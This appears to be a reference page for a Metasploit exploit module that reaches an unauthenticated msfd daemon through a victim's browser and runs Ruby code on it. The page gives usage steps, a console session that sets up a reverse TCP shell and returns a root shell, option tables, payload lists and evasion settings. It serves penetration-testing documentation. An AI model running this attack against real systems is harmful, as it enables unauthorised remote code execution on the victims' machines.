Metasploit msfd Remote Code Execution via Browser - Metasploit


This page contains detailed information about how to use the exploit/multi/browser/msfd_rce_browser metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Metasploit msfd Remote Code Execution via Browser
Module: exploit/multi/browser/msfd_rce_browser
Source code: modules/exploits/multi/browser/msfd_rce_browser.rb
Disclosure date: 2018-04-11
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): ruby
Supported platform(s): Ruby
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Metasploit's msfd-service makes it possible to get a msfconsole-like interface over a TCP socket. This module connects to the msfd-socket through the victim's browser. To execute msfconsole-commands in JavaScript from a web application, this module places the payload in the POST-data. These POST-requests can be sent cross-domain and can therefore be sent to localhost on the victim's machine. The msfconsole-command to execute code is 'rbi -e "CODE"'. Exploitation when the browser is running on Windows is unreliable and the exploit is only usable when IE is used and the quiet-flag has been passed to msf-daemon.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use exploit/multi/browser/msfd_rce_browser
msf exploit(msfd_rce_browser) > exploit

Knowledge Base

Description

This module connects to the Metasploit msf daemon and uses the ruby interpreter to achieve a shell. This module can be used when the vulnerable service is only listening on localhost and the attacker has not achieved a foothold on the machine. To achieve code execution, the data is sent from the victim's browser. To achieve this, the victim must visit the attacker's web site.

Vulnerable Application

Metasploit has a legacy method of providing remote access. The msf daemon provides no means of authentication and is therefore vulnerable against an attacker who has IP access to the daemon. In those cases where the daemon is listening on localhost, we take advantage of the fact that the victim's web browser has IP access to the daemon.

Because the msfconsole-program is line-based, it is possible to successfully send commands through the HTTP-protocol. This module takes advantage of this by placing the msfconsole-command in the POST-data of a HTTP-request. Since these POST-requests are considered safe to send cross-domain, it is possible to send them from the attacker's web application and to localhost using the victim's browser.

All versions of Metasploit are affected by this module, however testing has only been performed on the following targets:

  • Metasploit 5.0.0 on Ubuntu 16.04 (using Firefox and Chrome)
  • Metasploit 4.16.51 on Windows 7 (using IE, exploitation failed in Firefox and Chrome)

NB! Exploitation on Windows had a higher degree of success, when the quiet-flag was sent to the msf daemon. On Linux, it made no difference.

Source code and installers:

Verification Steps

  1. Start the vulnerable service msfd -q -f
  2. Start msfconsole
  3. Do: use exploit/multi/browser/msfd_rce_browser
  4. Do: set REMOTE_IP [IP] (default: 127.0.0.1)
  5. Do: set RPORT [PORT] (default: 55554)
  6. Do: set PAYLOAD [PAYLOAD]
  7. Do: exploit
  8. Do: Visit the listed URL from the victim's machine
  9. You should get a shell

Options

Options unique for this module is described below.

REMOTE_IP

IP to target when running inside the victim's browser.

REMOTE_PORT

Remote port the vulnerable service is running at, default is 55554.

Scenarios

Through the victim's browser

  msf5 > use exploit/multi/browser/msfd_rce_browser
  msf5 exploit(multi/browser/msfd_rce_browser) > set payload ruby/shell_reverse_tcp
  payload => ruby/shell_reverse_tcp
  msf5 exploit(multi/browser/msfd_rce_browser) > set lhost 192.168.0.17
  lhost => 192.168.0.17
  msf5 exploit(multi/browser/msfd_rce_browser) > set lport 443
  lport => 443
  msf5 exploit(multi/browser/msfd_rce_browser) > exploit 
  [*] Exploit running as background job 0.

  [-] Handler failed to bind to 192.168.0.17:443:-  -
  [*] Started reverse TCP handler on 0.0.0.0:443 
  msf5 exploit(multi/browser/msfd_rce_browser) > [*] Using URL:
  http://0.0.0.0:8080/J5ras6oYftFWW4
  [*] Local IP: http://172.17.0.2:8080/J5ras6oYftFWW4
  [*] Server started.

Visit the web site listed in a browser on the victim's machine and you should get the output below.

  [*] 192.168.0.17     msfd_rce_browser - 192.168.0.17     msfd_rce_browser
  Sending HTML...
  [*] Command shell session 4 opened (172.17.0.2:443 -> 192.168.0.17:48376) at 2018-04-22 19:15:07 +0000
  id
  [*] exec: id

  uid=0(root) gid=0(root) groups=0(root)

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Msfconsole Usage

Here is how the multi/browser/msfd_rce_browser exploit module looks in the msfconsole:

msf6 > use exploit/multi/browser/msfd_rce_browser

[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(multi/browser/msfd_rce_browser) > show info

       Name: Metasploit msfd Remote Code Execution via Browser
     Module: exploit/multi/browser/msfd_rce_browser
   Platform: Ruby
       Arch: ruby
 Privileged: No
    License: BSD License
       Rank: Normal
  Disclosed: 2018-04-11

Provided by:
  Robin Stenvi <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  No

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  REMOTE_IP    127.0.0.1        yes       Remote IP address when called from victim
  REMOTE_PORT  55554            yes       Remote port the service is running at
  SRVHOST      0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT      8080             yes       The local port to listen on.
  SSL          false            no        Negotiate SSL for incoming connections
  SSLCert                       no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                       no        The URI to use for this exploit (default is random)

Payload information:
  Space: 8192
  Avoid: 2 characters

Description:
  Metasploit's msfd-service makes it possible to get a msfconsole-like 
  interface over a TCP socket. This module connects to the msfd-socket 
  through the victim's browser. To execute msfconsole-commands in 
  JavaScript from a web application, this module places the payload in 
  the POST-data. These POST-requests can be sent cross-domain and can 
  therefore be sent to localhost on the victim's machine. The 
  msfconsole-command to execute code is 'rbi -e "CODE"'. Exploitation 
  when the browser is running on Windows is unreliable and the exploit 
  is only usable when IE is used and the quiet-flag has been passed to 
  msf-daemon.

Module Options

This is a complete list of options available in the multi/browser/msfd_rce_browser exploit:

msf6 exploit(multi/browser/msfd_rce_browser) > show options

Module options (exploit/multi/browser/msfd_rce_browser):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   REMOTE_IP    127.0.0.1        yes       Remote IP address when called from victim
   REMOTE_PORT  55554            yes       Remote port the service is running at
   SRVHOST      0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT      8080             yes       The local port to listen on.
   SSL          false            no        Negotiate SSL for incoming connections
   SSLCert                       no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                       no        The URI to use for this exploit (default is random)

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options

Here is a complete list of advanced options supported by the multi/browser/msfd_rce_browser exploit:

msf6 exploit(multi/browser/msfd_rce_browser) > show advanced

Module advanced options (exploit/multi/browser/msfd_rce_browser):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ListenerComm                             no        The specific communication channel to use for this service
   SSLCipher                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false            no        Enable SSL/TLS-level compression
   SendRobots              false            no        Return a robots.txt file if asked for one
   URIHOST                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Payload advanced options (generic/shell_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   ARCH                                         no        The architecture that is being targeted
   PLATFORM                                     no        The platform that is being targeted
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the multi/browser/msfd_rce_browser module can exploit:

msf6 exploit(multi/browser/msfd_rce_browser) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the multi/browser/msfd_rce_browser exploit:

msf6 exploit(multi/browser/msfd_rce_browser) > show payloads

Compatible Payloads
===================

   #   Name                                     Disclosure Date  Rank    Check  Description
   -   ----                                     ---------------  ----    -----  -----------
   0   payload/generic/custom                                    normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                            normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                         normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/multi/meterpreter/reverse_http                    normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   4   payload/multi/meterpreter/reverse_https                   normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
   5   payload/ruby/pingback_bind_tcp                            normal  No     Ruby Pingback, Bind TCP
   6   payload/ruby/pingback_reverse_tcp                         normal  No     Ruby Pingback, Reverse TCP
   7   payload/ruby/shell_bind_tcp                               normal  No     Ruby Command Shell, Bind TCP
   8   payload/ruby/shell_bind_tcp_ipv6                          normal  No     Ruby Command Shell, Bind TCP IPv6
   9   payload/ruby/shell_reverse_tcp                            normal  No     Ruby Command Shell, Reverse TCP
   10  payload/ruby/shell_reverse_tcp_ssl                        normal  No     Ruby Command Shell, Reverse TCP SSL

Evasion Options

Here is the full list of possible evasion options supported by the multi/browser/msfd_rce_browser exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/browser/msfd_rce_browser) > show evasion

Module evasion options:

   Name                      Current Setting  Required  Description
   ----                      ---------------  --------  -----------
   HTML::base64              none             no        Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
   HTML::javascript::escape  0                no        Enable HTML obfuscation via HTML escaping (number of iterations)
   HTML::unicode             none             no        Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
   HTTP::chunked             false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression         none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding      false            no        Enable folding of HTTP headers
   HTTP::junk_headers        false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache            false            no        Disallow the browser to cache HTTP content
   HTTP::server_name         Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size        0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay           0                no        Delays inserted before every send.  (0 = disable)

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See Also

Check also the following modules related to this module:

Authors

Robin Stenvi <robin.stenvi[at]gmail.com>

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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